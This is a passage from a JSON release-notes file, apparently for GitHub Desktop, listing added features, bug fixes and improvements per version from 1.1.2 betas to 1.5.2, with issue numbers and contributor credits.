"[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Enter when using keyboard to navigate app menu executed menu action twice - #5344", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!" ], "1.5.2-beta0": [], "1.5.1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix \"Open In External Editor\" for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the \"Clone a Repository\" dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta6": [ "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta5": [ "[Improved] Commit conflicted files warning - #6381", "[Improved] Dismissable merge conflict dialog and associated banner - #6379 #6380", "[Fixed] Fix feature flag for readme overwrite warning so that it shows on beta - #6412" ], "1.5.1-beta4": [ "[Improved] Display warning if existing readme file will be overwritten - #6338. Thanks @Daniel-McCarthy!", "[Improved] Add check for attempts to commit >100 MB files without Git LFS - #997. Thanks @Daniel-McCarthy!", "[Improved] Merge conflicts dialog visual updates - #6377" ], "1.5.1-beta3": [ "[Improved] Maintains state on tabs for different methods of cloning repositories - #5937" ], "1.5.1-beta2": [ "[Improved] Clarified internal documentation - #6348. Thanks @bblarney!" ], "1.5.1-beta1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix 'Open In External Editor' for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the ‘Clone a Repository’ dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!" ], "1.5.1-beta0": [], "1.5.0": [ "[New] Clone, create, or add repositories right from the repository dropdown - #5878", "[New] Drag-and-drop to add local repositories from macOS tray icon - #5048", "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Notify users when a merge is successfully completed - #5851", "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Display current branch in header of merge dialog - #6027", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Update license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta5": [], "1.5.0-beta4": [ "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!" ], "1.5.0-beta3": [], "1.5.0-beta2": [ "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Notify users when a merge is successfully completed - #5851", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Improved] Merge dialog displays current branch in header - #6027", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Updated license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta1": [ "[New] Repository switcher has a convenient \"Add\" button to add other repositories - #5878", "[New] macOS tray icon now supports drag-and-drop to add local repositories - #5048", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890" ], "1.4.4-beta0": [], "1.4.3": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Added] Add keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Emoji autocomplete not rendering in some situations - #5859", "[Fixed] Release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Avoid unnecessarily reloading commit history - #5470", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta2": [ "[Added] Added keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Fix release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Avoid unnecessarily reloading commit history - #5470" ], "1.4.3-beta1": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Fixed] Fix emoji autocomplete not rendering in some situations - #5859", "[Fixed] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta0": [], "1.4.2": [ "[New] Show resolved conflicts as resolved in Changes pane - #5609", "[Added] Add Terminator, MATE Terminal, and Terminology shells - #5753. Thanks @joaomlneto!", "[Fixed] Update embedded Git to version 2.19.1 for security vulnerability fix", "[Fixed] Always show commit history list when History tab is clicked - #5783. Thanks @JKirkYuan!", "[Fixed] Stop overriding the protocol of a detected GitHub repository - #5721", "[Fixed] Update sign in error message - #5766. Thanks @tiagodenoronha!", "[Fixed] Correct overflowing T&C and License Notices dialogs - #5756. Thanks @amarsiingh!", "[Improved] Add default commit message for single-file commits - #5240. Thanks @lean257!", "[Improved] Refresh commit list faster after reverting commit via UI - #5752", "[Improved] Add repository path to Remove repository dialog - #5805. Thanks @NickCraver!", "[Improved] Display whether user entered incorrect username or email address - #5775. Thanks @tiagodenoronha!", "[Improved] Update Discard Changes dialog text when discarding all changes - #5744. Thanks @Daniel-McCarthy!" ], "1.4.2-beta0": [], "1.4.1-test2": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1-test1": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta0": [], "1.4.0": [ "[New] When an update is available for GitHub Desktop, release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Fixed] Caret in co-author selector is hidden when dark theme enabled - #5589", "[Fixed] Authenticating to GitHub Enterprise fails when user has no emails defined - #5585", "[Improved] Avoid multiple lookups of default remote - #5399" ], "1.4.0-beta3": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta2": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta1": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta0": [], "1.3.5": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta1": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit summary description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta0": [], "1.3.4": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta1": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta0": [], "1.3.3": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-beta1": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-test6": ["Testing infrastructure changes"], "1.3.3-test5": ["Testing the new CircleCI config changes"], "1.3.3-test4": ["Testing the new CircleCI config changes"], "1.3.3-test3": ["Testing the new CircleCI config changes"], "1.3.3-test2": ["Testing the new CircleCI config changes"], "1.3.3-test1": ["Testing the new CircleCI config changes"], "1.3.2": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.2-beta1": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta7": [], "1.3.0-beta6": [], "1.3.0-beta5": [ "[Fixed] Ensure commit message is cleared after successful commit - #4046", "[Fixed] History omits latest commit from list - #5243" ], "1.3.0-beta4": [ "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069" ], "1.3.0-beta3": [ "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta2": [ "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158" ], "1.2.7-test3": ["Test deployment for electron version bump."], "1.3.0-beta1": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes count and ahead/behind information - #2259", "[Added] Syntax highlighting for PowerShell files- #5081. Thanks @say25!", "[Fixed] Display something when repository is located at drive root - #4924", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Improved] Repository list badge style tweaks and tweaks for dark theme - #5095", "[Improved] Change primary button color to blue for dark theme - #5074" ], "1.2.7-test2": ["Test deployment for electron version bump."], "1.2.7-test1": ["Sanity check deployment for refactored scripts"], "1.2.7-beta0": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6-beta0": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.5": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.4": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.4-beta5": [], "1.2.4-beta4": [ "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745" ], "1.2.4-test1": [ "Confirming latest Git LFS version addresses reported issues" ], "1.2.4-beta3": [ "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!" ], "1.2.4-beta2": [], "1.2.4-beta1": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.3": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-beta1": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-test1": [ "Confirming switch from uglify-es to babel-minify addresses minification issue - #4871" ], "1.2.2": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Restore text selection highlighting in diffs - #4818" ], "1.2.2-beta1": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Text selection highlighting in diffs is back - #4818" ], "1.2.1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-test1": ["Upgraded embedded Git to 2.17.0"], "1.2.1-beta1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-beta0": [], "1.1.2-test6": ["Testing the Webpack v4 output from the project"], "1.2.0": [ "[New] History now has ability to compare to another branch and merge outstanding commits", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[Added] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] 'Open in Shell' on Linux ensures Git is on PATH - #4619. Thanks @ziggy42!", "[Fixed] Pressing 'Enter' on filtered Pull Request does not checkout - #4673", "[Fixed] Alert icon shrinks in rename dialog when branch name is long - #4566", "[Fixed] 'Open in Desktop' performs fetch to ensure branch exists before checkout - #3006", "[Fixed] 'Open in Default Program' on Windows changes the window title - #4446", "[Fixed] Skip fast-forwarding when there are many eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' always opens a new instance - #4381", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429.", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta7": [], "1.1.2-beta6": [ "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Fixed] Open in Shell on Linux ensures Git is available on the user's PATH - #4619. Thanks @ziggy42!", "[Fixed] Keyboard focus issues when navigating Pull Request list - #4673", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!" ], "1.1.2-test5": ["Actually upgrading fs-extra to v6 in the app"], "1.1.2-test4": ["Upgrading fs-extra to v6"], "1.1.2-beta5": [ "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Fixed] Prevent icon from shrinking in rename dialog - #4566" ], "1.1.2-beta4": [ "[New] New Compare tab allowing visualization of the relationship between branches", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459" ], "1.1.2-beta3": [ "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] Fetch to ensure \"Open in Desktop\" has a branch to checkout - #3006", "[Fixed] Handle the click event when opening a binary file - #4446", "[Fixed] Skip fast-forwarding when there are a lot of eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429." ], "1.1.2-test3": ["[New] Comparison Branch demo build"], "1.1.2-test2": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-test1": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-beta2": [ "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", 